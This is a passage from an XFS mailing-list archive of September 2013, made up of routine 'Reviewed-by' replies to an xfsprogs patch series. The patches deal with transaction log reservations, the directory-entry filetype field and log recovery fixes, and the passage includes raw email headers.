relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7C9447F50 for ; Fri, 6 Sep 2013 13:21:03 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 430C88F804C; Fri, 6 Sep 2013 11:21:03 -0700 (PDT) Message-ID: <522A1D0E.6070209@sgi.com> Date: Fri, 06 Sep 2013 13:21:02 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 43/55] xfs: Make writeid transaction use tr_writeid References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-44-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-44-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Jie Liu > > tr_writeid is defined at mp->m_resv structure, however, it does not > really being used when it should be.. > > This patch changes it to tr_writeid to fetch the correct log > reservation size. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Already reviewed in other posting. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:21:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9E64729E0B for ; Fri, 6 Sep 2013 13:21:31 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 77D038F804B; Fri, 6 Sep 2013 11:21:31 -0700 (PDT) Message-ID: <522A1D2A.5070309@sgi.com> Date: Fri, 06 Sep 2013 13:21:30 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 44/55] xfs: refactor xfs_trans_reserve() interface References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-45-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-45-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Jie Liu > > With the new xfs_trans_res structure has been introduced, the log > reservation size, log count as well as log flags are pre-initialized > at mount time. So it's time to refine xfs_trans_reserve() interface > to be more neat. > > Also, introduce a new helper M_RES() to return a pointer to the > mp->m_resv structure to simplify the input. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Already reviewed in other posting. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:22:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0D18129DFC for ; Fri, 6 Sep 2013 13:22:02 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id CABF18F804B; Fri, 6 Sep 2013 11:22:01 -0700 (PDT) Message-ID: <522A1D49.20007@sgi.com> Date: Fri, 06 Sep 2013 13:22:01 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 45/55] xfs: Get rid of all XFS_XXX_LOG_RES() macro References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-46-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-46-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Jie Liu > > Get rid of all XFS_XXX_LOG_RES() macros since they are obsoleted now. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Already reviewed in other posting. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:22:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6460529DFC for ; Fri, 6 Sep 2013 13:22:34 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3F14C8F804C; Fri, 6 Sep 2013 11:22:34 -0700 (PDT) Message-ID: <522A1D69.1020700@sgi.com> Date: Fri, 06 Sep 2013 13:22:33 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 46/55] xfs: Add xfs_log_rlimit.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-47-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-47-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Jie Liu > > Add source files for xfs_log_rlimit.c The new file is used for log > size calculations and validation shared with userspace. > > [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the > tr_attrsetm reservation, just calculates the maximum. ] > > [dchinner: rework loop in xfs_log_get_max_trans_res() ] > > [dchinner: implement xfs_log_calc_unit_res() in util.c to give mkfs > a worse case calculation of the log size needed. ] > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Already reviewed in other posting. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:23:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B232429DFB for ; Fri, 6 Sep 2013 13:23:17 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8B6A08F804B; Fri, 6 Sep 2013 11:23:17 -0700 (PDT) Message-ID: <522A1D94.2070106@sgi.com> Date: Fri, 06 Sep 2013 13:23:16 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 47/55] xfs: Add read-only support for dirent filetype field References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-48-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-48-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Add support for the file type field in directory entries so that > readdir can return the type of the inode the dirent points to to > userspace without first having to read the inode off disk. > > The encoding of the type field is a single byte that is added to the > end of the directory entry name length. For all intents and > purposes, it appends a "hidden" byte to the name field which > contains the type information. As the directory entry is already of > dynamic size, helpers are already required to access and decode the > direct entry structures. > > Hence the relevent extraction and iteration helpers are updated to > understand the hidden byte. Helpers for reading and writing the > filetype field from the directory entries are also added. Only the > read helpers are used by this patch. It also adds all the code > necessary to read the type information out of the dirents on disk. > > Further we add the superblock feature bit and helpers to indicate > that we understand the on-disk format change. This is not a > compatible change - existing kernels cannot read the new format > successfully - so an incompatible feature flag is added. We don't > yet allow filesystems to mount with this flag yet - that will be > added once write support is added. > > Finally, the code to take the type from the VFS, convert it to an > XFS on-disk type and put it into the xfs_name structures passed > around is added, but the directory code does not use this field yet. > That will be in the next patch. > > Signed-off-by: Dave Chinner > --- Looks good. Same as kernel Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:24:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3D55529DFB for ; Fri, 6 Sep 2013 13:24:08 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 07D18304048; Fri, 6 Sep 2013 11:24:05 -0700 (PDT) Message-ID: <522A1DC4.3010605@sgi.com> Date: Fri, 06 Sep 2013 13:24:04 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 48/55] xfs: Add write support for dirent filetype field References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-49-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-49-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Add support to propagate and add filetype values into the on-disk > directs. This involves passing the filetype into the xfs_da_args > structure along with the name and namelength for direct operations, > and encoding it into the dirent at the same time we write the inode > number into the dirent. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:25:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 72C1429DFB for ; Fri, 6 Sep 2013 13:25:52 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4CF88304032; Fri, 6 Sep 2013 11:25:52 -0700 (PDT) Message-ID: <522A1E2F.8090206@sgi.com> Date: Fri, 06 Sep 2013 13:25:51 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 49/55] xfsprogs: add dtype support to mkfs and db References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-50-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-50-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Now that we have an extra field in the dirent, add support into > xfs_db to be able to view it when looking at directory structures. > > Add support to mkfs to create filesystems with filetype - we'll > always set it on CRC enabled filesystems so all new v5 filesystems > will have this functionality enabled. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:43:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5EF117F50 for ; Fri, 6 Sep 2013 13:43:36 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 333D0304070; Fri, 6 Sep 2013 11:43:36 -0700 (PDT) Message-ID: <522A2257.1060801@sgi.com> Date: Fri, 06 Sep 2013 13:43:35 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 50/55] xfs: di_flushiter considered harmful References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-51-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-51-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > When we made all inode updates transactional, we no longer needed > the log recovery detection for inodes being newer on disk than the > transaction being replayed - it was redundant as replay of the log > would always result in the latest version of the inode woul dbe on > disk. It was redundant, but left in place because it wasn't > considered to be a problem. > > However, with the new "don't read inodes on create" optimisation, > flushiter has come back to bite us. Essentially, the optimisation > made always initialises flushiter to zero in the create transaction, > and so if we then crash and run recovery and the inode already on > disk has a non-zero flushiter it will skip recovery of that inode. > As a result, log recovery does the wrong thing and we end up with a > corrupt filesystem. > > Because we have to support old kernel to new kernl upgrades, we > can't just get rid of the flushiter support in log recovery as we > might be upgrading from a kernel that doesn't have fully transaction > inode updates. Unfortunately, for v4 superblocks there is no way to > guarantee that log recovery knows about this fact. > > We cannot add a new inode format flag to say it's a "special inode > create" because it won't be understood by older kernels and so > recovery could do the wrong thing on downgrade. We cannot specially > detect the combination of zero mode/non-zero flushiter on disk to > non-zero mode, zero flushiter in the log item during recovery > because wrapping of the flushiter can result in false detection. > > Hence that makes this "don't use flushiter" optimisation limited to > a disk format that guarantees that we don't need it. And that means > the only fix here is to limit the "no read IO on create" > optimisation to version 5 superblocks.... > > Signed-off-by: Dave Chinner > --- user space portion of kernel commit e60896 Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:53:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A5ED77F50 for ; Fri, 6 Sep 2013 13:53:26 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7ABBB8F8050; Fri, 6 Sep 2013 11:53:26 -0700 (PDT) Message-ID: <522A24A5.8050308@sgi.com> Date: Fri, 06 Sep 2013 13:53:25 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 51/55] xfs: fix calculation of the number of node entries in a dir3 node References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-52-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-52-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The calculation doesn't take into account the size of the dir v3 > header, so overestimates the hash entries in a node. This causes > directory buffer overruns when splitting and merging nodes. > > Signed-off-by: Dave Chinner > --- Looks good, same as kernel commit 37804376. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:54:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5872B7F50 for ; Fri, 6 Sep 2013 13:54:59 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 22CCB8F8050; Fri, 6 Sep 2013 11:54:59 -0700 (PDT) Message-ID: <522A2502.8090606@sgi.com> Date: Fri, 06 Sep 2013 13:54:58 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 52/55] xfs: btree block LSN escaping to disk uninitialised References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-53-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-53-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > When testing LSN ordering code for v5 superblocks, it was discovered > that the the LSN embedded in the generic btree blocks was > occasionally uninitialised. These values didn't get written to disk > by metadata writeback - they got written by previous transactions in > log recovery. > > The issue is here that the when the block is first allocated and > initialised, the LSN field was not initialised - it gets overwritten > before IO is issued on the buffer - but the value that is logged by > transactions that modify the header before it is written to disk > (and initialised) contain garbage. Hence the first recovery of the > buffer will stamp garbage into the LSN field, and that can cause > subsequent transactions to not replay correctly. > > The fix is simply to initialise the bb_lsn field to zero when we > initialise the block for the first time. > > Signed-off-by: Dave Chinner > --- Looks good, same as kernel commit b58fa554. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:58:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 91BB47F50 for ; Fri, 6 Sep 2013 13:58:38 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 646CE8F804B; Fri, 6 Sep 2013 11:58:38 -0700 (PDT) Message-ID: <522A25DD.2090500@sgi.com> Date: Fri, 06 Sep 2013 13:58:37 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 53/55] xfs: inode log reservations are too small References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-54-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-54-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > We've been seeing occasional problems with log space leaks and > transaction underruns such as this for some time: > > XFS (dm-0): xlog_write: reservation summary: > trans type = FSYNC_TS (36) > unit res = 2740 bytes > current res = -4 bytes > total reg = 0 bytes (o/flow = 0 bytes) > ophdrs = 0 (ophdr space = 0 bytes) > ophdr + reg = 0 bytes > num regions = 0 > > Turns out that xfstests generic/311 is reliably reproducing this > problem with the test it runs at sequence 16 of it execution. It is > a 100% reliable reproducer with the mkfs configuration of "-b > size=1024 -m crc=1" on a 10GB scratch device. > > The problem? Inode forks in btree format are logged in memory > format, not disk format (i.e. bmbt format, not bmdr format). That > means there is a btree block header being logged, when such a > structure is never written to the inode fork in bmdr format. The > bmdr header in the inode is only 4 bytes, while the bmbt header is > 24 bytes for v4 filesystems and 72 bytes for v5 filesystems. > > We currently reserve the inode size plus the rounded up overhead of > a logging a buffer, which is 128 bytes. That means the reservation > for a 512 byte inode is 640 bytes. What we can actually log is: > > inode core, data and attr fork = 512 bytes > inode log format + log op header = 56 + 12 = 68 bytes > data fork bmbt hdr = 24/72 bytes > attr fork bmbt hdr = 24/72 bytes > > So, for a v2 inodes we can log at least 628 bytes, but if we split that > inode over the end of the log across log buffers, we need to also > another log op header, which takes us to 640 bytes. If there's > another reservation taken out of this that I haven't taken into > account (perhaps multiple iclog splits?) or I haven't corectly > calculated the bmbt format space used (entirely possible), then > we will overun it. > > For v3 inodes the maximum is actually 724 bytes, and even a > single maximally sized btree format fork can blow it (652 bytes). > And that's exactly what is happening with the FSYNC_TS transaction > in the above output - it's consumed 644 bytes of space after the CIL > context took the space reserved for it (2100 bytes). > > This problem has always been present in the XFS code - the btree > format inode forks have always been logged in this manner. Hence > there has always been the possibility of an overrun with such a > transaction. The CRC code has just exposed it frequently enough to > be able to debug and understand the root cause.... > > So, let's fix all the inode log space reservations. > > [ I'm so glad we spent the effort to clean up the transaction > reservation code. This is an easy fix now. ] > > Signed-off-by: Dave Chinner > --- Looks good, same as kernel commit 23956703. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 14:03:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9BD2B7F50 for ; Fri, 6 Sep 2013 14:03:46 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 60CAE8F804B; Fri, 6 Sep 2013 12:03:43 -0700 (PDT) Message-ID: <522A270E.8010705@sgi.com> Date: Fri, 06 Sep 2013 14:03:42 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 55/55] xfsprogs: cleanup miscellaneous merge faults References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-56-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-56-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Ben Myers > > * clean up a few extra tabs > * xfs_buf_map->xfs_buf_ops in libxfs_readbuf and libxfs_readbuf_map args > * don't call the write verifier twice > * put the multithreaded scan_ags back > > Signed-off-by: Ben Myers > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 14:39:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 468507F54 for ; Fri, 6 Sep 2013 14:39:28 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 002F3304075; Fri, 6 Sep 2013 12:39:24 -0700 (PDT) Message-ID: <522A2F6C.2030103@sgi.com> Date: Fri, 06 Sep 2013 14:39:24 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: aborted buf items can be in the AIL. References: <1378208858-20557-1-git-send-email-david@fromorbit.com> <1378208858-20557-2-git-send-email-david@fromorbit.com> In-Reply-To: <1378208858-20557-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/03/13 06:47, Dave Chinner wrote: > From: Dave Chinner > > Saw this on generic/270 after a DQALLOC transaction overrun > shutdown: > > XFS: Assertion failed: !(bip->bli_item.li_flags& XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 952 > ..... > xfs_buf_item_relse+0x4f/0xd0 > xfs_buf_item_unlock+0x1b4/0x1e0 > xfs_trans_free_items+0x7d/0xb0 > xfs_trans_cancel+0x13c/0x1b0 > xfs_symlink+0x37e/0xa60 > .... > > When a transaction abort occured. > > If we are aborting a transaction and trigger this code path, then > the item may be dirty. If the item is dirty, then it may be in the > AIL. Hence if we are aborting, we need to check if the item is in > the AIL and remove it before freeing it. > > Signed-off-by: Dave Chinner > --- This is fine for Linux 3.12. Christoph's reference counting reorg sounds interesting. Reviewed-by: Mark Tinguely From enwlinux@gmail.com Fri Sep 6 14:42:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 968597F54 for ; Fri, 6 Sep 2013 14:42:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 597FB8F8033 for ; Fri, 6 Sep 2013 12:42:49 -0700 (PDT) X-ASG-Debug-ID: 1378496567-04bdf02f22e002c0001-NocioJ Received: from mail-qc0-f182.google.com (mail-qc0-f182.google.com [209.85.216.182]) by cuda.sgi.com with ESMTP id Ogoo5xUmsFz3Mo8b (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 06 Sep 2013 12:42:48 -0700 (PDT) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] Received: by mail-qc0-f182.google.com with SMTP id k18so1672787qcv.41 for ; Fri, 06 Sep 2013 12:42:47 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=BKnSPl1efs69SXhDr472NNuZ+SSFlvq28lKsC6D3Wgg=; b=s86fwlWTkSlRiQlYk6Znd8lZFIzdl9looDS1ZKEF74Z+O8T+CIb2+LODmLoZzJA1bm ZqijkJE8wOmoe/WHQZxqjghz4cYQ6e2rcCSjdrZH2t3x9/mLt0E6IZgWsaQvk7Yxz1Gx T5y2Bjw2GXOjET5BA8kz20TUFXVEGh7zDObNkhtc1EXQOCl8MNr/B9BGBloU5KBz8jvW GXp9EK9wr2uzyP5NxzzjmWg+j7xOSKDKVKICHpGS2g4IGzqJQJJ5l1NlJExuoSchFinA TJfAMUVfQ726ad9Yz8emFzw4BihMnESE7ajfbVPy3ot/KN/xHKJI0XSgytndbMyGByZc kWJQ== X-Received: by 10.49.1.42 with SMTP id 10mr5051884qej.58.1378496567409; Fri, 06 Sep 2013 12:42:47 -0700 (PDT) Received: from wallace (c-75-68-62-236.hsd1.nh.comcast.net. [75.68.62.236]) by mx.google.com with ESMTPSA id h2sm338592qev.0.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA 